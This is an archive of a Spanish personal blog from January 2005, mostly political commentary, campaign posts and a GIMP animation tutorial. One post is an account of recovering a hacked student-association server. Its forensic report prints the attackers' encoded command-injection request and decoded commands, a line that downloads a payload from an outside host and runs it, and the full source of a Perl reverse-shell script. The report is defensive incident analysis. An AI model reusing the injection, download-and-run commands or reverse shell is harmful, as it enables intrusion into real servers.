Archivo - Enero, 2005

¿Vida nueva?

El éxito de las elecciones en Irak dejan un doble regusto en mi ya maltratado estómago. Por un lado el dulce de ver como un pueblo lucha por salir del bache, pasar página y vota con entusiasmo, a pesar de las bombas, de las minorías que se verán marginadas y otros percances. El amargor viene de la satisfacción y sentimiento de éxito por parte de nuestros amigos Bush y Blair. Señores, recuerden el dicho: “El fin nunca justifica los medios”.

Y que haya habido unas elecciones democráticas en Irak no justifica la guerra, las masacres, las torturas. Aún está por ver que las elecciones sirvan realmente para devolver la normalidad a un pueblo herido. ¿Realmente alguien cree que se va a respetar a las minorías? ¿Que cesará el terrorismo? ¿Que se olvidará el odio, acumulado durante largos años, y sobrealimentado con las muertes en la guerra y post-guerra?.

Yo creo que nadie tiene la autoridad moral suficiente como para imponer nada a un país por la fuerza, ni dictadores malévolos ni estados con ansias “pacificadoras”, como EEUU. No funcionó, ni funcionará. Se transforma una tiranía en un crisol a presión de razas y creencias dispares, con una buena ración de odio y se calienta a fuego lento. Intragable. Explosivo.

Al menos parece que no son todo palmitas para Bush, y una juez de EEUU, en un ataque inusitado de cordura, ha sentenciado que los tribunales militares de Guantánamo son inconstitucionales. Menuda sorpresa.

Y además para otras ocasiones parece que Bush se lo va a pensar más, y como ya no son enemigos de su papi, va a optar por medios menos sangrantes, tanto en bajas como para las arcas del estado. En vez de invasión, para Irán planea sólo ataques desde el aire, que sólo provocan el gasto justo para el forre de las empresas armamentísticas y allegados, así como la actuación de fuerzas especiales al margen de la ley y de cualquier control para practicar terrorismo institucional, que como todo el mundo sabe, es bueno (si lo hace EEUU, claro).

Quizá deberían recordarle los asesores a Bush como Bin Ladem o muchos dictadores han sido el fruto de las acciones ilegales de comandos especiales de EEUU, cuando la prioridad era evitar que ganara Rusia, o se instaurara una replública de izquierdas (elegida democráticamente) donde no interesaba.

¿Y ahora quieren que nos traguemos que en Irak de verdad que van por caridad de la buena? ¿paz? ¿peace? ¿Nos toman por descerebrados sin memoria histórica?

Acción Global contra la Pobreza

Este movimiento, promovido por más de 1000 ONGs, sí que merece la pena apoyarlo, por su carácter global, y que lucha contra la raíz de los problemas del mundo (desigualdad, hambre, enfermedades): la pobreza.

Reclaman a los gobernantes del mundo que cumplan sus promesas, unas reglas comerciales más justas, una mayor y mejor ayuda al desarrollo y la completa condonación de la deuda externa. Piden también transparencia y la rendición de cuentas de todos los gobiernos en sus planes para eliminar la pobreza y alcanzar los Objetivos de Desarrollo del Milenio de la ONU, uno de los cuales pretende reducir el hambre a la mitad en 2015 (u por el momento se está a años luz de conseguirlo).

Como dijo Lula en el llamamiento que se hizo desde Porto Alegre, tenemos que ser capaces de suscitar un nuevo orden de prioridades “que no sea la guerra y la lucha contra el terrorismo”.

Para demostrar vuestro apoyo, nada más simple que llevar una cinta blanca en la muñeca, en señal de adhesión a la campaña.

La que nos espera...

Si esto se confirma...

Como si no recibiéramos ya suficientes correos con virus, y suficientes ataques para ordenadores windows, que un XP sin parchear se infecta en internet antes que el tiempo que tardas en actualizarlo.

Jo, mami...

Jo, mami, te juro por snoopy que no lo volveré a hacer más.

¿Soy yo el único al que le parece bochornoso y ridículo? y ni siquiera es el único... :(

Demanda contra el canon

Parece que el banner que propuse para luchar contra el canon ha gustado bastante, y he recibido comentarios, sugerencias y correcciones de bastante gente, incluido Javier de la Cueva, promotor de la demanda.

Al final hemos estado hablando y hemos decidido hacer algunas correcciones:

  • No mencionamos a la SGAE. Estamos en contra de cualquier canon, independientemente de quien lo imponga, no en contra de la SGAE.
  • Hacemos incapié de que el CD y otros medios digitales son el papel del siglo XXI. En ellos guardamos nuestra información, la historia, los registros, nuestras creaciones, al igual que se hacía en libros en los siglos pasados.
  • Facilitamos distintas versiones: Nos han hecho llegar alguna traducción, y Javier quería poder dar al banner distintas orientaciones: Al mundo del Software Libre, al del Derecho, al de los Fotógrafos, etc. simplemente cambiando el contenido de los CDs, para que les sea más fácil identificarse con el problema a todos los colectivos. Más adelante indico algunas instrucciones para los que quieran crear su propia versión.
  • Correcciones linguísticas: a una palabra le sobraba un acento, y las cantidades con coma para separar los decimales, como corresponde al castellano y nos hizo notar un compañero.

Sin más dilación, aquí tenéis el nuevo banner:

¡No al canon!

Esta vez son 39 frames en 57 Kb, lo que no está nada mal. Los ficheros Gimp originales empleados los puedes descargar aquí, y como la otra vez bajo la flexible licencia de Atribución de Creative Commons.

Dentro del archivo van los siguientes ficheros:

  • orig2.xcf: Es el fichero gimp original, con todos los objetos necesarios en distintas capas. El problema es que convertirlo a animación es un proceso lento y tedioso. Consiste en seleccionar las capas que quieres tener visibles para cada frame, seleccionarlo todo, hacer un “copiar visible”, y pegar todo como capa en otra imagen. Así capa a capa se va haciendo cada frame de la animación.
  • en_capas_2_normal.xcf: Este fichero gimp tiene cada frame ya generado en una capa, pero los textos son parte de cada frame, están como imagen y no son editables.
  • en_capas_2_txt_editable.xcf: Este es el fichero ideal para cambiar los textos de los CDs. Los frames están ya generados, salvo la capa de texto, que es editable, y se puede cambiar. Una vez cambiados los textos, simplemente tienes que pegar TODAS las capas de texto, cada una en la capa inmediatamente inferior (haciendo un “Merge Down” en el selector de capas. Asegúrate de que la capa de abajo está como visible, o se pegará en la primera visible hacia abajo, en vez de la inmediatamente inferior).

En todos los casos, cuando tengais la animación cada frame en una capa, y en el nombre de la capa entre paréntesis el tiempo que se va a mostrar esa capa (por ejemplo “(500ms)” para 500 milisegundos) podéis previsualizarla Filtros->Animación->Reproducir. Cuando estéis satisfechos optimizar la animación Filtros->Animación->Optimice (for GIF). Luego sólo os queda guardarla como gif, y en las opciones que os salndrán seleccionar “salvar como animación”, la conversión de colores automática, y en la siguiente ventana el método de colocar los frames “combine”. Y ya tendréis vuestro gif animado personalizado. :)

Espero vuestros comentarios de nuevo...

[ Update: soy un despistado, y había puesto “papel del siglo XIX” en vez de XXI en el banner. Ya está corregido, menos mal que Chema se dió cuenta rápido. ]

Hace 60 años...

Hace 60 años se puso fin a los horrores que ocurrían detrás de esta escalofriante y por todos conocida silueta:

Auschwitz

Yo tampoco lo entiendo

Coincido con chema, yo tampoco lo entiendo.

:~(

Más sobre patentes...

Finalmente polonia nos volvió a salvar evitando la aprobación de la ley de patentes en la reunión de Pesca y Agricultura de la UE.

Hoy he recibido este correo electrónico sobre los siguientes pasos necesarios:

Patentes de software: exigir una nueva primera lectura
¡Estimado activo de la FFII !

Se ha retrasado de nuevo la adopción de la “posición común” del
Consejo Europeo sobre la directiva de patentes de software. Esto abre
otra ventana de oportunidad para que el Parlamento Europeo reinicie
todo el proceso, eliminando así el espantoso texto del Consejo del 18
de mayo del 2004.

Debido a que la situación política en Europa ha cambiado (por ejemplo,
gracias a las nuevas posturas de Polonia y Holanda) las futuras
negociaciones en el Consejo Europeo probablemente nos llevarán a un
resultado más aceptable.

Por otra parte, si no se devuelve la directiva al Parlamento,
sino que se continúa con una 2ª lectura, el Parlamento tendría que
arreglarla sujeto a unas condiciones extremadamente difíciles. La
segunda lectura requiere una mayoría absoluta de 367 votos
afirmativos, significando esto que, en realidad, un 60-70% de los
Parlamentarios Europeos que asistieran a la cámara plenaria habrían de
votar sí en cada enmienda. Esta reescritura completa ocurriría en un
período de sólo 3 á 4 meses. El fallo en la adopción de cualquier
enmienda crítica podría significar puertas de escape que al final
darían cabida a las patentes de software. Así, una reunión del JURI
(Comité de Asuntos Legales) el 2 ó 3 de febrero del 2005 podría dar al
Parlamento la oportunidad de exigir una nueva primera lectura
(remisión renovada), lo que podría ser la mejor salida.

Se puede encontrar más información en:

http://kwiki.ffii.org/Juri0501En
http://kwiki.ffii.org/RestartGuide0501En

También ayúdanos a difundir la palabra: únete a la Manifestación en la
Web y registra tu sitio web en http://demo.ffii.org/.

Nótese que hay también personas trabajando en sacar adelante un
punto del día de tipo B, por ejemplo en Holanda y Dinamarca, según
http://wiki.ffii.org/SwpatcninoEn. Si estás trabajando en esto, por
favor continúa con ello. Si no es así, lo mejor sería presionar a
cualquiera del JURI; si hay miembros del JURI de tu país ciertamente
esto es *lo mejor que puedes hacer ahora*. Así que investiga en el
documento arriba mencionado: http://kwiki.ffii.org/RestartGuide0501En .

Saludos cordiales,

Holger Blasum, blasum(ARROBA)ffii.org, Javier Candeira, Alberto Barrionueva

Espíritu de concordia...

Las víctimas unidas por el espíritu de concordia, condenando todo tipo de violencia, pues fue ésta la que les arrebató a sus seres queridos, y los políticos respetandolas y sin manipulaciones.

Sería lo normal, ¿no?

Pues va a ser que no. Un político insultado y agredido, luego resulta que hay otros políticos implicados, las asociaciones de víctimas enfrentadas, etc, etc, etc...

El PP anuncia acciones legales tras la detención de dos militantes por la agresión a Bono
Los populares pedirán la comparecencia del ministro del Interior para aclarar los hechos

El Partido Popular emprenderá acciones legales y políticas por la detención ayer de dos de sus militantes en relación con la agresión que sufrió el ministro de Defensa, José Bono, en la manifestación de apoyo a las víctimas del terrorismo del pasado sábado. Según ha anunciado el secretario general del PP, Ángel Acebes, el partido entiende que se produjeron “ilícitos penales” en la detención de estos militantes, que se produjo, en su opinión, “sin la más mínima prueba, base documental ni autorización judicial”.

Extracto de noticia de El país
Noticia similar en El Mundo

Más leña:

En fin, esperemos que acabe cuanto antes este bochornoso espectáculo.

Ya somos 20 millones

Y aquí y aquí he encontrado los gráficos de descargas:

Descargas acumuladas

Descargas al día

Malvadas condiciones atmosféricas...

No, no voy a escribir sobre la ola de frío polar que nos azota –y que ha hecho nevar en la capital, ¡que bonito!, y yo sin mi cámara :(((–.

Me estoy refiriendo a las condiciones atmosféricas, que, según nuestro alcalde, son las que incrementan los índices de polución de Madrid.

Normal que acusen al malvado aire, que tiende a ensuciarse. Es su culpa. Cuando los niños se pringan en el parque a quién regañan las madres, al barro o a los niños. Pues eso... Y Bush va más allá, en su caso dice que el barro no tiene nada que ver con el ensuciamiento de los niños, por eso no firma Kioto, por que no hay demostrada ninguna relación entre las emisiones y el efecto invernadero... Como si para otras cosas necesitara pruebas muy contundentes (¿dónde están las armas?).

Eureka, son las condiciones atmosféricas

Usted y yo nos pensábamos que la polución atmosférica procedía de las emisiones contaminantes de diversos artificios, en particular, de tubos de escape, humos de calefacciones de ciertos combustibles y, en su caso, chimeneas industriales.

Algunos incluso pensábamos que el automóvil, infinitamente más dañino que todo lo demás, si sumamos sus letales efectos, era el principal motivo de putrefacción del aire. Pero héte aquí que el alcalde, don Alberto Ruiz-Gallardón, está ahí para desasnarnos:

“Las actuales condiciones atmosféricas han alterado los índices de la calidad del aire de Madrid”. ¡Y yo que pensaba que las actuales condiciones atmosféricas no habían alterado, no habían podido alterar, la sobreabundancia de partículas en suspensión y dióxido de nitrógeno del aire de Madrid! Seguro que soy un miserable, como diría el señor Acebes.

Pero no hay que perder ni la serenidad ni el rigor; don Alberto dice que “es una circunstancia de naturaleza coyuntural”, ya saben, algo así como una coyuntura de naturaleza circunstancial.

Llegados a este punto, ya no sé si estábamos hablando de contaminación o de calidad del aire, pero, por si los malpensados insisten en usar el malvado término contaminación, el alcalde también tiene respuesta: el Ayuntamiento la tiene vigilada; “está siendo seguida y vigilada de manera permanente por los servicios municipales”. Ya podemos respirar tranquilos. Invita el alcalde.

Y sepamos que ese topismo en los alcaldes PP de Madrid, que les impele a agujerear todo lo agujereable para crear nuevos aparcamientos, túneles y retúneles, es sólo la expresión malentendida de su desconfianza hacia el coche y su pasión por la calidad del aire, las vistas despejadas, el canto de los pajarillos y la vida sencilla de los constructores. Si las situaciones de inversión térmica se empeñan en perseverar, propongo ya mismo aprobar una ordenanza que las declare ilegales. Cualquier cosa antes que enfrentarse de verdad a nuestros monstruos.

Alberto Conde, a Cartas al director de El País, 24/01/2005

Ahora en serio, entiendo que la falta de viento incremente la polución en Madrid, pero no se puede achacar el problema a la falta del remedio.

[ Update: Vaya... Ya había escrito suso sobre ello ayer, y lo que más me jode es que he transcrito de nuevo toda la carta del recorte... ains... Y no me extraña, cuando me lo dió a leer mi madre ayer me partía con su cinismo, y, sobre todo, el genial título. :) ]

Y si fuera...

Si siempre te has preguntado como serás de mayor, o si fueras de raza asiática, o de raza negra, ahora tienes la oportunidad de averiguarlo, con el transformador de caras, un proyecto del Laboratorio de Percepción, de la Universidad de St Andrews.

Aquí van algunos ejemplos, a ver si adivináis de quien son... XDDD

De asiáticoDe medio-mono
De viejoDe joven

Del paraíso al infierno

Eso pasó el domingo 16, pasé del paraíso al infierno.

Sandra y yo hicimos una sensacional escapada de fin de semana a Granada, donde pude disfrutar de nuevo (y nunca me cansaré) de la Alhambra, y los barrios viejos de la ciudad, poblados por doquier de tiendas y ferviente actividad incluso en el frío invierno.

Imposible olvidar tampoco las raciones enoooormes de churros y a precios ridículos, y las tapas gratis -dignas de un rey- que te ponen con la caña o con la sangría.

Siempre que voy a Granada me vuelvo triste, pensando qué narices hacemos en la capital, con precios imposibles para salir a tomar algo con los amigos. Allí puedes tomar un par de cañas y cenar con las tapas que te ponen por menos de 3 euros, mientras que aquí te gastas casi eso en el transporte para ir a cualquier lado. En mi viaje a Valencia me pasó otro tanto de lo mismo, aunque en el caso de Granada la tradición de tapas hace aún más brusca la diferencia.

Pero la vuelta no era el infierno en sí. El infierno empezó con un mensaje que me enviaron mientras volvía en coche, diciendo que habían crackeado el servidor de nuestra asociación de estudiantes, Eurielec, y que habían fastidiado las páginas web e instalado algún demonio.

¡Genial! ¡Estupendo! En plena organización del Congreso de EESTEC quedarte sin web del congreso, sin servidor, y ponte a sanear y asegurar el servidor o reinstalarlo con el lío que tenemos.

Nada más llegar nos comentamos, y descubrí algunos procesos ejecutándose que no habían descubierto, y optamos por apagar la máquina para analizarla en frío y no correr más riesgos.

Este es el infierno que sufrí esa semana para restaurar el servidor, luchando casi más contra el maldito hardware que contra los crackers:

Inicio: Domingo de madrugada

  • Unos capullos brasileños crackean cero (nuestro servidor)
    • Borran los index de la web. Sin hacer copias de nada.
    • Ponen su firma en la web, con un enlace a un desagradable video de una ejecución en Irak, y se jactan de “venganza de los países que apoyaron a la guerra”.
    • Instalan unos cuantos procesos para controlar la máquina
    • Intentan instalar un módulo en el kernel para ocultar programas, ficheros y otras huellas (sin éxito)
  • Nos damos cuenta
  • Rinze toma las primeras acciones, matando algún proceso y recuperando algunos index.
  • Consigo conectarme a Internet (nada más llegar del viaje)
  • Descubro otro proceso sospechoso.
  • Se decide apagar la máquina y reinstalar para evitar que la sigan controlando, y ver si se pueden recuperar cosas.
  • Para que no se cuelgue todo logro entrar en las máquinas por la noche, desmontar los /home (que se guardaban en cero) y parar el servidor de correo (que ya no tiene dónde guardar el correo).

El Infierno: Lunes

  • Tuesto una gentoo para montar los discos en read-only y analizarlos.
  • Los discos duros de cero dan problemas.
  • El ordenador se cuelga cada 2×3, sectores defectuosos, etc.
  • Abandono la búsqueda de logs incriminatorios para centrarnos en reinstalar y recuperar servicios.
  • Hago backup de lo que puedo a mi HD portátil, y las cosas del congreso las copio a seis (otro ordenador de la asociación) y grabo un CD.
  • Se decide comprar nuevos HD y reinstalar.
  • Voy corriendo a la beca, que ya subo tarde.
  • Se compran nuevos HD.
  • Me llevo cero a casa, javi me acerca los discos nuevos.
  • Planifico la asignación de espacio, particiones, raid, etc.
  • Intento instalar cero en mi casa por la noche, pero el instalador de ubuntu no es muy allá e instala mal el grub con discos en raid.
  • Además los discos duros nuevos no los detecta la bios, y hay que instalar el grub en el disco duro pequeño, que tiene una partición boot en raid1 con las de los grandes.
  • Logro instalar el grub a mano.
  • El ordenador no arranca, parece que el disco pequeño tiene que ser además master para que la puta mierda de placa arranque.
  • Cambio los discos, reinstalo, instalo el grub a mano.
  • Arranca.
  • Peta... el grub no encuentra el stage2 :?
  • Me desespero
  • Me acuesto

Mega infierno: Martes

  • Empiezo a ver por que petaba el stage2 de grub.
  • El disco duro pequeño también tiene sectores chungos: ¡Fieeestaaaa!
  • Intento hacer particiones más pequeñas, a ver si al principio no tiene sectores dañados
  • Desaparece misteriosamente las tablas de particiones de los discos grandes tras el reboot.
  • No tengo una copia de como estaban las particiones. A reinstalar...
  • Reinstalando con partición /boot más pequeña peta del todo el disco duro pequeño, y ya no se puede ni particionar.
  • (Maldiciones varias censuradas para el público)
  • Reinstalo desde el principio, pasando del disco pequeño (planeando arrancar desde disquete) e instalando -como no- el grub a mano.
  • Ninguna disquetera de eurielec es capaz de grabar un disquete de arranque con el grub.
  • (Maldiciones varias censuradas para el público)
  • (Maldiciones varias censuradas para el público)
  • Al final probando logro arrancar con los discos grandes engañando a la bios, poniendo los HD como definidos por el usuario. En anteriores ocasiones (con los HD antiguos) fallaba con el mensaje “Hard Disk Fail” pero con los nuevos parece que tira.
  • Estaban definidos como del tipo usuario, de 640 mb y 8 gigas respectivamente (los dos son de 200 gigas XD ).
  • Al arrancar linux sólo detecta bien el que estaba en la bios como de 8 gigas (por estar definido como LBA quizás). Los dispositivos raid se quejan amargamente, pero espero que no se haya petao todo again.
  • Reinicio, cambio los dos discos en la bios como si fueran de 8 gigas, en LBA, arranco... El disco que antes era de 640 mb ha perdido la tabla de particiones.
  • Arrancando en modo single, duplico las tablas de particiones del que si que se mantiene al que ha cascado con sfdisk, y soy capaz de formar de nuevo los raid.
  • Rearranco y el ordenata no arranca. Rehacer las tablas de particiones ha debido joder el grub del sector de arranque.
  • Intercambio los discos (por precaución había instalado el grub en los dos, y como la partición boot es RAID 1 todo debería funciona)
  • y... Arranca!!!
  • Vivan los raid con superbloque! Linux sabe recomponer los arrays raid y ver que partición va con cual, incluso en los RAID 0, a pesar del cambio de bus de los discos
  • Algunos arrays no se han iniciado correctamente, por que tuvieron cambios cuando se arrancó el sistema sin uno de los discos. Añado las particiones marcadas como defectuosas con mdadmn en caliente, y los arrays se van regenerando.
  • Parece que ya todo va a ir bien!!!
  • subo a gio, y desde allí empiezo a instalar cosas, y me voy dando cuenta de la magnitud del pifostio de recuperar todo...
  • (Maldiciones varias censuradas para el público)
  • Reinstalando las bases de datos me doy cuenta que volcando la base de datos de la web de congreso (y el wiki) había dado un error (por un attachment demasiado grande) y en vez de seguir con las otras tablas, había parado
  • Por supuesto, siguiendo la ley de Murfy, la tabla que necesitaba para la web del congreso no está en el volcado.
  • Yujuuuuu!
  • (Maldiciones varias censuradas para el público)
  • Bajo a Euri y meto los discos duros en el nuevo ordenador de euri, a ver si los puedo montar y recuperar la tabla que me falta y dejarlos así para ir recuperando cosas.
  • El ordenador no arranca del CD. Limpio el CD. nada. Limpio el CD. Empieza a leerlo, muestra la pantalla de ubuntu, y casca al seguir tratando de leer. No me creo que un puto ordenador nuevo con una regrabadora de DVD no pueda leer el puto CD
  • Me cago en mi mala suerte.
  • Me cago en mi estampa.
  • Busco otro lector de CDs por el garito. No encuentro ninguno suelto. Desmonto el de un ordenador por ahí tirado y lo pongo en el nuevo. No funciona tampoco: este lectos ni siquiera abre la bandeja
  • Se me hacen las putas 22:30 en la escuela.
  • Abandono y mañana seguiré con ello.
  • Como por la noche me aburro, sigo con el tema.
  • Tenía una copia del /var/lib/mysql en el disco duro externo.
  • Me hago con unos paquetes deb de la misma versión que la DB de cero, y con los binarios tras algo de sudor logro hacer un dump (esta vez sin errores de las bases de datos)
  • Restauro la web del congreso (una versión antigua del diseño, aunque el contenido es de DB y no se ha perdido nada) y la web de eurielec.
  • Corrijo varios errores a raíz del nuevo PHP y nueva versión de mysql instaladas.

Las cosas empiezan a funcionar: Miércoles

  • Me echan un cable y ponen en el nuevo ordenador un lector de CDs decente.
  • Arranco con el CD de Ubuntu, monto todo intentando aclararme de qué partición es cada cosa.
  • Restauramos el correo de forma provisional, copiando los .procmailrc’s y .forward de cada uno al server de correo (uno) para que guarde el correo en el /home local, pero lo haga bien, y reenviando los mensajes que la gente se quiere enviar fuera.
  • Llega el momento de copiar los datos al nuevo servidor. Me doy cuenta que lo mejor va a ser copiarlo por NFS, y la Ubuntu no trae nfs en el disco de instalación.
  • Tuesto una Gentoo minimal, que en 60 megas tiene de todo, incluído server nfs, ssh y demás.
  • Vuelvo a montar todo, y empiezo a copiar los homes (un tar de 38 gigas, ahí es nada).
  • Acaba ya muy tarde, y copio otras cosas (los crontabs, el /etc, los scripts y programas personalizados de la asociación, etc...)
  • Restauramos todo salvo los jomes, que cuando estén hay que juntar las carpetas de correo antiguas con el nuevo correo que ha ido llegando.
  • Ya en casa sigo restaurando aplicaciones web, con sumo cuidado (pues sospechamos que la entrada fue via web, y se hicieron root con el local root exploit recientemente encontrado en el kernel).
  • Empezamos a restaurar los blogs.
  • Me doy cuenta que la he cagado con los homes. Estaban en RAID 1, con dos discos en paralelo con copias idénticas, para que si uno falla no se pierda la información. Desgraciadamente una de las particiones había dado un error, y cuando pasa eso, linux automáticamente saca la partición de array raid (se deja de usar), y por lo tanto se queda con información antigua.
  • ¿Adivináis de qué partición había recuperado los homes?
  • De la que estaba con información antigua. Bueno, habrá que volverlos a copiar mañana

Venga que ya queda poco: Jueves

  • Copio los homes buenos al servidor (Otros 39 gigas de tar, y luego descomprimirlo).
  • Ya por la tarde todo parece listo para restaurar los homes:
    • Renombro los public_html, para que todo el mundo revise que aplicaciones web tiene instaladas allí.
    • Quitamos los directorios .ssh, que han podido ser comprometidos
    • Paramos el servidor de correo, añadimos el correo nuevo recibido a las carpetas antiguas, y volvemos a montar los homes en el servidor de correo. Despues arrancamos el servidor de correo.
  • El resto de máquinas del garito vuelven a montar los homes y a estar operativas.

Relax: Viernes

  • Empiezo a recibir millones de agradecimientos por el curro de estos días en mi correo.
  • Restauramos lo que vamos viendo que falta, aplicaciones, las bases de datos bajo demanda.
  • Ponemos a funcionar de nuevo los blogs, y yo empiezo a probar el wordpress.
  • Curro mucho mucho en la Beca.
  • Unos pocos nos vamos de tapeo, que a pesar de los exámente aún hay gente que se anima.

Día en familia + hacking: Sábado

  • Paso un tranquilo día en familia.
  • Por la noche, entre los múltiples cafés del día, el haber dormido hasta muy tarde, y que soy un vampiro y duermo muy poco, me pongo a hacer análisis forense del servidor, aburrido de dar vueltas en la cama.
  • A las 7:54am envío el report del análisis forense, contento de haber encontrado las pistas para saber cómo y por donde entraron:
    
    Parece que la controladora del nuevo ordenador es algo mejor que la del
    antiguo cero, y no se cuelga leyendo de disco, aunque tenga sectores
    chungos como pasaba con la máquina física de cero.
    Con dd conv=noerror he sacado una copia de toda la partición var de
    cero, y he recuperado ficheros con las reiserfsck --rebuild-tree -S.
    
    Así he recuperado varias cosillas, la mayoría dañadas por que se trasteó
    demasiado con la partición en vez de apagar el equipo.
    
    Pero lo mejor de todo es:
    
    201.0.138.5 - - [15/Jan/2005:18:50:44 +0100]
    "GET /viewtopic.php?t=10&highlight=%2527%252esystem(chr(101)%
    252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(73)%
    252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(59)%
    252echr(105)%252echr(100)%252echr(59)%252echr(117)%252echr(110)%
    252echr(97)%252echr(109)%252echr(101)%252echr(32)%252echr(45)%
    252echr(97)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%
    252echr(111)%252echr(32)%252echr(70)%252echr(73)%252echr(77))%252e%2527
    HTTP/1.1" 404 301 "-" "Linux"
    
    Traducción una vez convertidos los caracteres unicode e interpretado el
    código php:
    
            echo INICIO;id;uname -a;echo FIM
    
    Todas las entradas similares que he encontrado son (ya traducidas):
    
    Desde: 201.0.138.5      (201-0-138-5.dial-up.telesp.net.br)
    [15/Jan/2005:18:50:44 +0100]    echo INICIO;id;uname -a;echo FIM
    [15/Jan/2005:18:54:06 +0100]    echo INICIO;id;uname -a;echo FIM
    
    Desde: 81.196.69.192    (81-196-69-192.constanta.cablelink.ro)
    [16/Jan/2005:17:12:16 +0100]    uname -a;id;pwd;
    
    Desde: 213.174.51.72    (k043.ims-firmen.de)
    [16/Jan/2005:06:07:15 +0100]    echo INICIO;id;uname -a;echo FIM
    [16/Jan/2005:06:11:03 +0100]    echo INICIO;lwp-download -a
    http://geocities.yahoo.com.br/dominusvis/xpl/cb.txt /tmp/cb;echo FIM
            Yupieeeeeeee!! aquí se baja el exploit!
    [16/Jan/2005:06:12:57 +0100]    echo INICIO;perl /tmp/cb 200.191.250.34
    21;echo FIM
            Y aquí lo ejecuta...
    [15/Jan/2005:05:21:19 +0100]    echo INICIO;id;uname -a;echo FIM
    [15/Jan/2005:06:10:38 +0100]    echo INICIO;id;uname -a;echo FIM
    
    El cb ese es un script cutre y salchicero para poner una shell en el
    puerto 21:
    
    ----------------------------------------------------------------
    #!/usr/bin/perl
    use strict;
    use Socket;
    
    #--------------------------------------------------------->
    #
    #             Infektion Group Back Shell
    #       Codigo baseado no artigo sobre sockets
    #   escrito por Rahul Chauhan : www.devshed.com e no bsh
    #              escrito por Shellc0de :)
    #
    #                                       Obrigado a todos!
    #
    #            <escrito por Dominus Vis>
    #
    #--------------------------------------------------------->
    
    if(@ARGV < 2){ die("Uso: $0 ip portan"); }
    
    # inicializa alvo e porta
     my $host = shift || $ARGV[0];
     my $port = shift || $ARGV[1];
     my $proto = getprotobyname('tcp');
    
    # pega o endereço da porta
     my $iaddr = inet_aton($host);
     my $paddr = sockaddr_in($port, $iaddr);
    
    # cria o socket e conecta ao alvo
     socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
     connect(SOCKET, $paddr) or die "connect: $!";
     if(fork() == 0){ #cloca o processo ativo
      open(STDIN, ">&SOCKET");
      open(STDOUT, ">&SOCKET");
      open(STDERR, ">&SOCKET");
      system("/bin/sh -i"); #executa /bin/sh -i no alvo!
      close(STDIN);
      close(STDOUT);
      close(STDERR); }
    ----------------------------------------------------------------
    
    Lo que no me queda claro es si lograron entrar por ahí, o tendrían que
    lanzar más comandos, por que en el puerto 21, ejecutándose como www-data
    no creo que pudieran poner una shell (y deberían saberlo, que para eso
    lanzan el id...
    
    Luego debieron ponerlo en el puerto del irc, que no requiere ser root,
    entrar como www-data y hacerse root con el bug del kernel que salió
    anunciado recientemente.
    
    La web http://geocities.yahoo.com.br/dominusvis/ es de lo más cutre, con
    unos cuantos scripts para poner de página web y ejecutar comandos en
    remoto (las imagenes tb son scripts, no imágenes reales, supongo que
    para que geocities no les añada la publicidad chunga) y unas cuantas
    aplicaciones de tipo scanner para windozes....
    
    Por cierto, 213.174.51.72 es una máquina linux, con 3246 días de uptime
    (aunque se puede fakear), y burradas como tener el mysql abierto. Debía
    ser también hackeable, y supongo que nuestros amigos brasileños la
    usaron de pasarela (lo de FIM, FIN en brasileño les delata un poco):
    
    Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2005-01-23 07:23
    CET
    Interesting ports on k043.ims-firmen.de (213.174.51.72):
    (The 1627 ports scanned but not shown below are in state: closed)
    PORT     STATE    SERVICE
    7/tcp    filtered echo
    11/tcp   filtered systat
    15/tcp   filtered netstat
    19/tcp   filtered chargen
    21/tcp   open     ftp
    22/tcp   open     ssh
    25/tcp   open     smtp
    67/tcp   filtered dhcpserver
    69/tcp   filtered tftp
    79/tcp   filtered finger
    80/tcp   open     http
    111/tcp  filtered rpcbind
    119/tcp  filtered nntp
    135/tcp  filtered msrpc
    137/tcp  filtered netbios-ns
    138/tcp  filtered netbios-dgm
    139/tcp  filtered netbios-ssn
    443/tcp  open     https
    445/tcp  filtered microsoft-ds
    515/tcp  filtered printer
    617/tcp  filtered sco-dtmgr
    901/tcp  filtered samba-swat
    1214/tcp filtered fasttrack
    1248/tcp filtered hermes
    1433/tcp filtered ms-sql-s
    1434/tcp filtered ms-sql-m
    2001/tcp filtered dc
    2002/tcp filtered globe
    3306/tcp open     mysql
    4660/tcp filtered mosmig
    6346/tcp filtered gnutella
    6699/tcp filtered napster
    Device type: general purpose
    Running: Linux 2.4.X|2.5.X
    OS details: Linux Kernel 2.4.0 - 2.5.20
    Uptime 3.246 days (since Thu Jan 20 01:29:25 2005)
    
    No, el puerto 21 es un ftp normal, no una shell... que ha sido lo
    primero que he probado.  :)))
    
    Estoy por denunciar la primera IP de todas al proveedor, a ver si les
    hacen algo, por que tenía pinta de no ser un server que ya hubieran
    hackeado.
    
    Saludosssssssssssssss!
    
    --
     !)     bisho! -=] 23/01/2005 [=-
    !  ',  _
     !   ) ·>
      ?     )  ::    Don't promote SW Monopolies. Say NO to software      ::
    ,???---'   ::                         patents                         ::
    [ PEACE ]  ::            EuropeSwPatentFree Demostration:             ::
        ......::                  http://online-demo.org                  ::
    

Como se ve, la semana pasada fueron unos días para olvidar. Estrés, agobio, y mucho mucho curro.

Después de todo te queda una sensación agria, y mucho desprecio para las personas que se dedican a joder servidores ajenos. Encima en este caso por un supuesto grupo en contra del “racismo” y la “guerra”, que luego emplea la misma guerra, cibernética, pero guerra, y todo sin consideraciones de ningún tipo, por que si se hubieran fijado habrían visto muestras del papel activo de nuestra asociación contral la guerra.

Bueno, ya pasó, y esa despreciable gente no se merece ni un minuto más de nuestro tiempo.

¿menos texto y más animaciones’

He leido con curiosidad esta noticia de Barrapunto.

Comenta sobre la opinión del responsable de la edición digital del prestigioso diario independiente francés Le Monde sobre el futuro de las webs de noticias. Según él cada vez será menos importante el texto y más el flash, las animaciones y los gráficos, pues los usuarios no leen, sino que “escanean” las portadas de noticias. Así las páginas de noticias se convertirán en cosas más parecidas a la radio o la TV.

Pues menudo futuro, opino yo, si la gente cada vez lee menos noticias. Una cosa es que la gente “escanee” las portadas en búsqueda de noticias interesantes, por que al existir demasiadas no puedes abarcarlas todas, pero si encuentras una, ¿no la lees? ¿No aprendes mucho más leyendo una noticia sobre la situación y conflictos en Palestina que viendo una animación Flash con un fuego parpadeante donde se produjo el último petardazo?.

Lo que me anima es saber que cada vez hay mas blogs, y si las páginas de noticias olvidan el texto, la información detallada, los comentarios explicativos e incluso las opiniones, aquí estaremos nosotros para tomar el relevo.

